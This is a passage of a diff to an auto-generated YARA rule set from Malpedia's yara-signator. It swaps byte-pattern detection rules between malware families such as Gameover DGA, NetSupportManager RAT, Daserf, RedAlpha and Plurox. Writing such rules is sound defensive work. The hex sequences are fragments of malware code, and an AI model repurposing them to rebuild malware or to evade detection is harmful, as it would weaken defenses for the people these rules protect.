-		$sequence_36 = { 57 8b3d???????? 68???????? ffd7 8b35???????? 68???????? 50 }
-		$sequence_37 = { 8908 813800000000 0f94c2 8b35???????? 8b3d???????? 0faff6 81c601000000 }
-		$sequence_38 = { 8908 813800000000 0f95c2 8b35???????? }
-		$sequence_39 = { a3???????? ffd7 8bd8 68???????? 53 }
-		$sequence_40 = { 53 a3???????? ffd6 68???????? a3???????? }
-		$sequence_41 = { 5f 5d c3 89e0 c70010270000 }
-		$sequence_42 = { 5f 5b 5d c3 b81c000000 }
-		$sequence_43 = { 8908 8b15???????? 89d6 81c609000000 }
-		$sequence_44 = { bf04010000 57 6a08 ff35???????? ff15???????? }
-		$sequence_45 = { 29d6 01f0 a3???????? e9???????? }
-		$sequence_46 = { 8908 8b00 8b5004 8b35???????? }
-		$sequence_47 = { 29d6 0faff0 31d2 f7f6 }
+		$sequence_0 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 }
+		$sequence_1 = { 894df4 8a15???????? 8855f8 837d0c01 7514 8bf4 68???????? }
+		$sequence_2 = { 8855f8 837d0c01 7514 8bf4 }
+		$sequence_3 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 }
+		$sequence_4 = { 8855f8 837d0c01 7514 8bf4 68???????? }
+		$sequence_5 = { 68???????? ff15???????? 3bf4 e8???????? b801000000 52 8bcd }
+		$sequence_6 = { 0909 0909 0407 0807 8d4900 4f }
+		$sequence_7 = { 8a15???????? 8855f8 837d0c01 7514 8bf4 }
+		$sequence_8 = { 8945f0 8b0d???????? 894df4 8a15???????? 8855f8 837d0c01 7514 }
+		$sequence_9 = { 7514 8bf4 68???????? ff15???????? 3bf4 e8???????? b801000000 }
 
 	condition:
-		7 of them and filesize <303100
+		7 of them and filesize <1433600
 }
-rule MALPEDIA_Win_Gameover_Dga_Auto : FILE
+rule MALPEDIA_Win_Ziyangrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "49ca0960-3057-5b3f-bfaa-26bec43ff964"
+		id = "61b87837-dc98-50eb-8916-bc6cbc20d03f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gameover_dga_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ziyangrat_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "04f58b9dead2fa0c3d00122a20892474bd44e61e3b7f09f6fdc5edfc6227d8a8"
+		logic_hash = "63664fb49a7b130cd77da76446f0977d6b37fb6657ee0279b7de100f4571b771"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173334,32 +180374,32 @@ rule MALPEDIA_Win_Gameover_Dga_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 884617 33c0 40 e9???????? 8a4601 33db 8b6c2434 }
-		$sequence_1 = { 397e08 0f84f0000000 8be9 894c2414 8bd1 8b4604 8a0c03 }
-		$sequence_2 = { 48 7544 397714 763f 8b4710 ff34b0 }
-		$sequence_3 = { 833d????????00 7566 8d8de8fdffff e8???????? 51 be???????? 56 }
-		$sequence_4 = { 5f 5b c20c00 8bcf e8???????? 8bf0 }
-		$sequence_5 = { 56 ff15???????? 85c0 7443 56 be???????? 8d85f8fdffff }
-		$sequence_6 = { 8b84245c010000 40 e9???????? 8b476c 33c9 2bc3 }
-		$sequence_7 = { ff760c ff7608 6a10 e8???????? 84c0 0f847a010000 8364241c00 }
-		$sequence_8 = { e8???????? a1???????? ff7064 ff15???????? 6a53 8d55b8 8bf0 }
-		$sequence_9 = { 7510 8b4f10 e8???????? 85c0 75e5 32c0 }
+		$sequence_0 = { 89442405 89442409 668944240d 8844240f 8b11 8d442410 }
+		$sequence_1 = { c3 8b9c24a4000000 68???????? 53 8d4c2444 }
+		$sequence_2 = { c68424e200000069 888424e3000000 889c24e4000000 888c24eb000000 c68424ec00000047 c68424ed00000020 }
+		$sequence_3 = { b93f000000 33c0 8dbc2441010000 889c2440010000 b265 f3ab }
+		$sequence_4 = { 8dbd48f7ffff 83c9ff 33c0 f2ae f7d1 83c1ff 51 }
+		$sequence_5 = { 889c2410020000 89442461 889c2410070000 6689442465 889c2410030000 }
+		$sequence_6 = { 8b4c2410 56 50 51 e8???????? 68???????? 8d542420 }
+		$sequence_7 = { 48 0d0000ffff 40 6689442408 25ffff0000 8d1440 }
+		$sequence_8 = { 50 e8???????? 83c40c 85c0 752a e8???????? }
+		$sequence_9 = { 8b7c240c 8b04bd10894000 8d1cbd10894000 3d00100000 0f84c8000000 8b04bd20094100 56 }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Darkmegi_Auto : FILE
+rule MALPEDIA_Win_Netsupportmanager_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b4298044-373c-5ebc-af72-71a8178891f9"
+		id = "cef2dd3b-0f7d-59a7-a048-7ced175e981a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkmegi_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netsupportmanager_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "594b35440f1c502a0c2d0a5e3fa86f0d3dc6b2f476ed2e839ff20aa39301e384"
+		logic_hash = "79986ba5845ddb197c2cbb664d974c015a806cc2574092a014c092c0439de61a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173373,32 +180413,32 @@ rule MALPEDIA_Win_Darkmegi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 81c43c010000 c3 8b442448 6a00 6a00 50 }
-		$sequence_1 = { c3 8b44244c 56 3d50450000 7411 }
-		$sequence_2 = { 3db7000000 7517 56 ff15???????? 56 }
-		$sequence_3 = { ff15???????? 83c40c 8d4c2464 8d942478050000 8d442444 }
-		$sequence_4 = { 8b548c2c 668b02 50 ffd5 }
-		$sequence_5 = { 0fb6d2 f6820196b40204 7403 40 }
-		$sequence_6 = { 49 6a01 8dbc0ca9030000 ffd6 6a01 }
-		$sequence_7 = { 81e1ffff0000 3bc1 0f8c9bfeffff 33db 8b94249e030000 }
-		$sequence_8 = { 52 e8???????? 83c404 8bd8 85f6 7426 }
-		$sequence_9 = { 33c0 5e 83c468 c21000 e8???????? }
+		$sequence_0 = { ff15???????? 8b7df0 3bfb c745fcffffffff 7410 8bcf e8???????? }
+		$sequence_1 = { f3a4 8d4dfc 51 e8???????? 83c404 663dffff 668945dc }
+		$sequence_2 = { e8???????? 8bcb e8???????? 8b4510 8b08 894b34 8b5004 }
+		$sequence_3 = { ff15???????? 85ff 7417 8b1b 81e7ffff0000 6a00 57 }
+		$sequence_4 = { c644020400 e8???????? 8b8558ffffff 83c404 85c0 7514 8b9550ffffff }
+		$sequence_5 = { e8???????? 8b9750030000 52 e8???????? 8b450c 8b7510 83c408 }
+		$sequence_6 = { ff15???????? 85c0 750e 8b45e8 8b4de4 50 51 }
+		$sequence_7 = { e8???????? eb02 33c0 c645fc01 8bf0 3bf3 7547 }
+		$sequence_8 = { e9???????? 686c010000 e8???????? 8bf0 83c404 897508 85f6 }
+		$sequence_9 = { 8d4df0 c745fc00000000 e8???????? 8b4704 85c0 7609 83f8ff }
 
 	condition:
-		7 of them and filesize <90304
+		7 of them and filesize <4734976
 }
-rule MALPEDIA_Win_Mydogs_Auto : FILE
+rule MALPEDIA_Win_Navrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8e0c4ca1-c33b-55e0-bdee-122873680dc3"
+		id = "267e4534-59a3-5746-9f05-524cfafc2ef1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mydogs_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.navrat_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "64d7e86bc2c7d2208d4e1b71baa972c2ebb11908509ae447cb6fe3a57912500e"
+		logic_hash = "d02406512a8ed4f24033286c28dfca048100e2bb166bb80aa3e9acab2e4b74d3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173412,32 +180452,32 @@ rule MALPEDIA_Win_Mydogs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3db7000000 0f8444010000 68???????? 6804010000 68???????? e8???????? }
-		$sequence_1 = { 884df3 c1fa18 8b5364 8bc2 8bce 0facc108 c1f808 }
-		$sequence_2 = { 5d e9???????? 6a18 68???????? e8???????? 8b4508 8bd8 }
-		$sequence_3 = { 894e64 8b4dec 894650 894658 894660 8b45ee 8d49c4 }
-		$sequence_4 = { 50 ffb5e4eeffff ffb5f8eeffff ff15???????? 85c0 7515 5f }
-		$sequence_5 = { 8bf9 53 895ddc 897de0 e8???????? }
-		$sequence_6 = { 8b4dfc 33cd e8???????? 8be5 5d c3 8d85f4eeffff }
-		$sequence_7 = { 50 8bcf c645ff4b e8???????? 6a01 8d450b 50 }
-		$sequence_8 = { 1ddeb19d01 50 51 89530c e8???????? 894310 }
-		$sequence_9 = { e8???????? 50 6800080000 53 89442434 e8???????? 83c414 }
+		$sequence_0 = { 0fbec0 83e847 c3 8d48d0 80f909 }
+		$sequence_1 = { 56 68???????? 50 8d85f0feffff 8bf1 50 }
+		$sequence_2 = { f7de 1bf6 f7de 56 68???????? }
+		$sequence_3 = { 8bf0 f7de 1bf6 f7de 56 }
+		$sequence_4 = { 0fbec0 83e847 c3 8d48d0 80f909 7707 }
+		$sequence_5 = { 7707 0fbec0 83c004 c3 3c2b 7503 }
+		$sequence_6 = { c3 3c2f 0f95c0 fec8 2440 fec8 }
+		$sequence_7 = { 85f6 7407 8b7608 83461c02 }
+		$sequence_8 = { c745dc726f736f c745e066745c57 c745e4696e646f c745e877735c43 c745ec75727265 c745f06e745665 }
+		$sequence_9 = { 51 56 50 57 a3???????? ff15???????? 57 }
 
 	condition:
-		7 of them and filesize <313344
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Radamant_Auto : FILE
+rule MALPEDIA_Win_Daserf_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1ede87f9-320c-576f-9524-930f09ad6207"
+		id = "fffb2935-58a7-5828-bf22-dd469fea2b59"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.radamant_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.daserf_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "add6ca5b01c9d6d8dad27d0b268d58bbdb18019e152c79d40b24c8426bcce310"
+		logic_hash = "194f8b1f42d6928a216ace153b63a40c6d813ea5df60a79ed82a9b2168ff69ee"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173451,34 +180491,40 @@ rule MALPEDIA_Win_Radamant_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8802 8b5510 42 8b45f8 }
-		$sequence_1 = { 890424 e8???????? 8b85c8f6ffff 890424 e8???????? 8b85d4f6ffff 890424 }
-		$sequence_2 = { 8d45f0 ff00 eb9b c9 }
-		$sequence_3 = { 01d0 8d148500000000 01d0 29c1 89c8 83c061 8945b0 }
-		$sequence_4 = { 331485b0164100 89d0 8945e8 8b55fc 83c204 8b45f4 c1e818 }
-		$sequence_5 = { 8d148500000000 01d0 29c1 89c8 83c061 8945b0 }
-		$sequence_6 = { c1e818 0fb6c0 0fb680b0094100 31d0 8901 8b4df4 83c124 }
-		$sequence_7 = { 8b8520feffff 890424 e8???????? 83ec0c 83f8ff 752a 8b45c4 }
-		$sequence_8 = { e8???????? 8b45f4 890424 e8???????? 83c424 5b 5d }
-		$sequence_9 = { 8d45e8 c1000a 8b55f4 8d45e8 0110 8b45f0 f7d0 }
+		$sequence_0 = { 8945cc ff15???????? 8945d0 8d45b4 }
+		$sequence_1 = { b808380000 e8???????? 53 56 }
+		$sequence_2 = { 81eb7ee5b031 81c30d782341 81c3db5d1091 81eb73ad763b 054ce1128c 81c3cc3c3014 }
+		$sequence_3 = { 81c3ad482863 81eb8c570d21 2d21583cc4 2da932ed1b 81c3f8ff2857 81eb46159323 }
+		$sequence_4 = { 81eb4e0e3377 87c0 81ebfb04024c 87ff 2dfaa67876 }
+		$sequence_5 = { 81c394c7d041 81eb6afed62a 81c3bed1834b 81eb826387e9 81c3d7e98170 2d844df6b2 }
+		$sequence_6 = { 50 ffd6 ffb56814ffff 8d85bc4fffff 50 }
+		$sequence_7 = { 2d4936916d f7d1 f7d1 2d99d06187 f7d1 f7d1 }
+		$sequence_8 = { 8bc9 81c3c9920a05 95 89ac2400f2ffff }
+		$sequence_9 = { 7500 81c3e109e0f6 8bc0 0537d68276 9b 81c38da225f6 87c9 }
+		$sequence_10 = { eb0e ff75fc ffd7 3bf3 7403 56 }
+		$sequence_11 = { 81c327f27a10 7500 81ebc884a519 7500 81eb3a0de80d 87db 81c3b119330a }
+		$sequence_12 = { 2d4abc1884 90 2dea9bf526 7500 }
+		$sequence_13 = { 81ebf74ea63a f7d1 f7d1 81eb199760ae 9b }
+		$sequence_14 = { 2d966cdd4c 2d81c26ac5 81c32b73f252 81c32bef6e96 81c3b4dacce0 }
+		$sequence_15 = { 81eb075e2ddb 9b 81c35a11e727 97 89bc2440f5ffff }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <245760
 }
-rule MALPEDIA_Win_Chinotto_Auto : FILE
+rule MALPEDIA_Win_Redalpha_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eb163619-c453-5aad-acb2-63f8cb2fc096"
+		id = "18d7b39f-1fe8-5b57-91e8-72bb40b0300f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chinotto_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redalpha_auto.yar#L1-L286"
 		license_url = "N/A"
-		logic_hash = "68ff4e71579a9ee7d4f8a0767737ed2f326ba91b5ade5aa40e96479fa8db4fb8"
+		logic_hash = "062f534aa7bc989cb92a0f507bdc74bdcfcc089d3142c94dc9dd9b9510e4dbdc"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -173490,32 +180536,53 @@ rule MALPEDIA_Win_Chinotto_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 034d0c 53 56 57 8b7848 8b774c }
-		$sequence_1 = { 6a1a e8???????? 8bd8 b906000000 be???????? 8bfb f3a5 }
-		$sequence_2 = { c745f800000000 8955c8 85d2 7505 ba02000000 8b461c 8bf8 }
-		$sequence_3 = { 57 8945f0 8d5801 740e 8b4e1c 2b4e40 }
-		$sequence_4 = { 837dfc00 7514 837dd000 0f8421080000 837e2000 0f8417080000 }
-		$sequence_5 = { 8d8dd0fbffff 68???????? 51 ffd6 83c418 8d95a4f1ffff 52 }
-		$sequence_6 = { 8b5620 57 8b7e24 8bc2 0bc7 7412 8bc2 }
-		$sequence_7 = { 8a08 40 84c9 75f9 2bc7 8b7d18 }
-		$sequence_8 = { 83c434 5f 5e 33cd 8d85e0fdfcff 5b }
-		$sequence_9 = { 8b471c 50 0fafc1 034710 8d55f8 }
+		$sequence_0 = { e8???????? 83c40c c0e304 0fb6c3 50 }
+		$sequence_1 = { 8b3e 8bce e8???????? 8b4df8 }
+		$sequence_2 = { 4585c0 7417 0f1f4000 410fb602 4d8d5201 03c8 }
+		$sequence_3 = { 443bd3 7d0b 6645019489a40a0000 eb33 }
+		$sequence_4 = { 8b4004 c74408e840d24300 8b41e8 8b5004 }
+		$sequence_5 = { 8b3d???????? eb96 8b8b48010000 e8???????? 8bce e8???????? 8b7e04 }
+		$sequence_6 = { 8b3f ff750c 53 6aff }
+		$sequence_7 = { 8b3e 897df4 0fb607 0fb64f01 }
+		$sequence_8 = { 42803c0000 75f6 49ffc0 488d4f0d 488d542450 }
+		$sequence_9 = { e8???????? 488d043b 4d63c4 488d8dea020000 }
+		$sequence_10 = { 498d4505 894208 d3e5 ffcd 23dd }
+		$sequence_11 = { 488b4b10 488b5010 410fb60411 41880408 ff4328 ff4338 }
+		$sequence_12 = { 448d4858 e8???????? 85c0 7556 }
+		$sequence_13 = { 8b3e 8bcb d3e8 83e001 895d08 }
+		$sequence_14 = { 488d542458 4803d0 488bcb e8???????? }
+		$sequence_15 = { 8b3d???????? ffd7 ffb548f7ffff ffd7 }
+		$sequence_16 = { 50 e8???????? 83c418 c785f0fdffff00000000 8d85f0fdffff 50 6a0b }
+		$sequence_17 = { 0f8413050000 8b3c8d8c864000 85ff 755d 33c0 89859cf6ffff 89855cfcffff }
+		$sequence_18 = { c3 55 8bec 81ec04010000 56 68cf010040 6a00 }
+		$sequence_19 = { 8d7608 660fd60f 8d7f08 8b048d74e84000 }
+		$sequence_20 = { 50 8d45f4 64a300000000 683f000f00 }
+		$sequence_21 = { 897c2428 e8???????? 83c410 8d442424 50 }
+		$sequence_22 = { 50 e8???????? 6aff c645fc01 ff75dc }
+		$sequence_23 = { 8b5df4 8bf7 8b4b04 85c9 0f85f2000000 33c0 }
+		$sequence_24 = { 7605 e8???????? 8b4f14 8bf0 }
+		$sequence_25 = { e8???????? 83f801 7512 68d0070000 ff15???????? e8???????? eb39 }
+		$sequence_26 = { 7512 8b04bd30744100 807c302900 7504 }
+		$sequence_27 = { 8b8fbc000000 52 ff7730 8b01 ff5004 ff75ec }
+		$sequence_28 = { c1f806 83e13f 6bc930 53 56 8b048530744100 33db }
+		$sequence_29 = { 89b8bc000000 ff15???????? 894708 ff7518 8b4514 }
+		$sequence_30 = { 6bc830 894de0 8b049d581f4000 0fb6440828 83e001 7469 }
 
 	condition:
-		7 of them and filesize <300032
+		7 of them and filesize <606208
 }
-rule MALPEDIA_Win_Dadstache_Auto : FILE
+rule MALPEDIA_Win_Zedhou_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1b258f10-8f88-5091-9d8a-b7cbb1e4a0e5"
+		id = "2aa4d978-6d48-5f72-a16b-4b6ea617b5b6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dadstache_auto.yar#L1-L168"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zedhou_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "77711feda2c16f34186a4f1ae2717975593af55ed7e01d177132f4e333f94d90"
+		logic_hash = "b60fc9437fc4bcd4e7a504c33358b6d6c8b7b5e0237aab2ee62dd854e5c508d6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173529,38 +180596,32 @@ rule MALPEDIA_Win_Dadstache_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d442414 50 6a1f ff35???????? }
-		$sequence_1 = { 8b470c 8bf9 31460c 0f1006 c7450c09000000 0f1145e8 }
-		$sequence_2 = { 85c0 7550 8b0d???????? 8b35???????? 85c9 7403 }
-		$sequence_3 = { 53 8d4d08 895d08 51 53 50 53 }
-		$sequence_4 = { 837c242c10 8d442418 51 0f4344241c }
-		$sequence_5 = { 8d5201 8842ff 83e901 75f2 8bd3 c1ea04 }
-		$sequence_6 = { 6aff 6a00 8d442438 c74424340f000000 50 }
-		$sequence_7 = { 6a1f ff35???????? ff15???????? a1???????? }
-		$sequence_8 = { 741b 8b45f0 47 83c628 3bf8 }
-		$sequence_9 = { 7405 8b4718 8901 8b731c 57 }
-		$sequence_10 = { 42 83c628 8955f0 3b55e4 0f8c66ffffff }
-		$sequence_11 = { 7325 8b7c240c 4a 03d7 8d4fff }
-		$sequence_12 = { 8b4485b0 85d2 8b56f8 7405 0d00020000 8d5de4 53 }
-		$sequence_13 = { e8???????? 85c0 741d 8bce e8???????? 8bce }
-		$sequence_14 = { c3 8b4e04 8d4604 8945fc 8b06 }
-		$sequence_15 = { 84c9 740e 3aca 74ef 0fb6c2 0fb6c9 }
+		$sequence_0 = { 8b4dac 894dd8 8d55d0 52 8d45d4 50 }
+		$sequence_1 = { ff5030 5f 5e 5b c9 c22400 }
+		$sequence_2 = { 57 ff7508 56 ff15???????? ff7508 ff15???????? 8bc6 }
+		$sequence_3 = { 8d4da4 51 8b5508 8b02 8b4d08 51 ff9008070000 }
+		$sequence_4 = { ff15???????? 8d4dc0 ff15???????? 0fbf4598 85c0 742a c745fc06000000 }
+		$sequence_5 = { 68???????? 8b85acfeffff 50 8b8da8feffff 51 ff15???????? 8985c4fdffff }
+		$sequence_6 = { 33c0 f3a6 0f85653a0000 85d2 }
+		$sequence_7 = { ff15???????? 83c41c c745fc04000000 8b5508 8b02 8b4d08 51 }
+		$sequence_8 = { ff15???????? c745fc7f000000 8b5508 8b4238 50 68???????? ff15???????? }
+		$sequence_9 = { e8???????? 894604 8b430c 59 8b04c5fc201822 59 6a01 }
 
 	condition:
-		7 of them and filesize <580608
+		7 of them and filesize <499712
 }
-rule MALPEDIA_Win_Racket_Auto : FILE
+rule MALPEDIA_Win_Plurox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7cb28a65-c30c-589f-a924-680f6f853124"
+		id = "6592f7da-a1c0-54df-8b9b-d6d4f0de3577"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.racket_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plurox_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "d1589a59b0768c1bd03360a8449d283c6a3783d8d4ace18ebd09610946148618"
+		logic_hash = "2767330918862f71924876620bde24f2504b741e0c74e8fbd24789f747d1fbb9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173574,32 +180635,32 @@ rule MALPEDIA_Win_Racket_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd3 8b8eec000000 8bf8 8b1d???????? 8d45ec 57 50 }
-		$sequence_1 = { 807d0800 743b e8???????? 6a00 ff7604 6845090000 ff35???????? }
-		$sequence_2 = { 57 0f1f840000000000 8bc1 c745fc02000000 2bc2 8dbb78fdffff 81c680fdffff }
-		$sequence_3 = { 0f44c1 50 ff75f4 8b473c 68a2090000 ff34856cb30610 ff15???????? }
-		$sequence_4 = { 40 50 68???????? 6aff 8d85fcfdffff 6800010000 50 }
-		$sequence_5 = { 0f8433020000 833d????????00 0f8426020000 833d????????00 0f8419020000 833d????????00 0f840c020000 }
-		$sequence_6 = { 83c430 3945cc 8b45b8 7501 40 8b4dc0 }
-		$sequence_7 = { 8b4e04 85c9 7537 8b4510 8b7838 85ff 7e75 }
-		$sequence_8 = { ff740e08 68ac080000 ff35???????? ff15???????? 83c420 2bd8 7418 }
-		$sequence_9 = { 6a00 68d6070000 897ddc ff34856cb30610 8975d0 ff15???????? 83c410 }
+		$sequence_0 = { 90 f9 0925???????? 0000 }
+		$sequence_1 = { 1a6e00 0000 94 624a8b 0416 }
+		$sequence_2 = { 6f b804000000 4e 4f b84e4f3dd9 }
+		$sequence_3 = { 94 f8 21480e 2a15???????? 6f b804000000 }
+		$sequence_4 = { e9???????? e408 6873d30808 94 e519 e8???????? 0000 }
+		$sequence_5 = { 8918 43 0416 0a20 0816 ec bbf2000000 }
+		$sequence_6 = { 8a00 46 0c83 47 }
+		$sequence_7 = { 624a8b 0416 128bc606091a f6870f1a000000 e10d }
+		$sequence_8 = { 07 f3cf 6b0000 0025???????? 7171 6805245f07 40 }
+		$sequence_9 = { 64841a 6c 2432 3449 }
 
 	condition:
-		7 of them and filesize <985088
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Bamital_Auto : FILE
+rule MALPEDIA_Win_Chewbacca_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3baca492-b609-5d4f-80bb-c68e186e995b"
+		id = "222f6780-8c77-5a93-9b3a-f1a76242c8a5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bamital_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chewbacca"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chewbacca_auto.yar#L1-L95"
 		license_url = "N/A"
-		logic_hash = "80aaa696b23b77db92b802971fab9d7fd90e414992e8440ec6c57f40448ba374"
+		logic_hash = "026e724d28dad06de27f1ece049f17b6c66ca8975467e2769de70691ea3bc834"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -173613,32 +180674,30 @@ rule MALPEDIA_Win_Bamital_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb05 83c001 ebe0 52 ff75fc e8???????? }
-		$sequence_1 = { 8ac4 8807 83c701 e2d8 c9 c20800 55 }
-		$sequence_2 = { ff75dc ff75d4 57 e8???????? 8b55fc 8945fc 0bd2 }
-		$sequence_3 = { e8???????? 8b55fc 8945fc 0bd2 }
-		$sequence_4 = { 0bc0 741f 50 83c001 50 }
-		$sequence_5 = { b800000000 c9 c20400 55 8bec 83c4f0 }
-		$sequence_6 = { 56 57 53 8b5d0c 8b7508 }
-		$sequence_7 = { ff7508 ff75f4 e8???????? 68e8070000 }
-		$sequence_8 = { 6a28 e8???????? 8945fc ff7508 e8???????? 8945f8 e8???????? }
-		$sequence_9 = { 8a07 3c39 7208 3c7e 7704 2c19 eb13 }
+		$sequence_0 = { e8???????? c645f401 8a45f4 5b c9 }
+		$sequence_1 = { e8???????? c645c800 8b45cc 8b10 }
+		$sequence_2 = { e8???????? c645f000 8b45f4 8b80b4010000 }
+		$sequence_3 = { e8???????? c645a400 c645f400 806df401 }
+		$sequence_4 = { e8???????? c645d001 8a45d0 5f }
+		$sequence_5 = { e8???????? c645ec01 e9???????? 8b55dc }
+		$sequence_6 = { e8???????? c645f401 e8???????? 8d4590 e8???????? 58 }
+		$sequence_7 = { e8???????? c645a400 6a00 8b45f8 8b00 898554ffffff }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <9764864
 }
-rule MALPEDIA_Win_Matsnu_Auto : FILE
+rule MALPEDIA_Win_Xiangoop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c9a7bdf6-1deb-5130-82f0-9b1058e504ad"
+		id = "bc98151f-3c19-5785-9ae3-c69b23dbc040"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.matsnu_auto.yar#L1-L117"
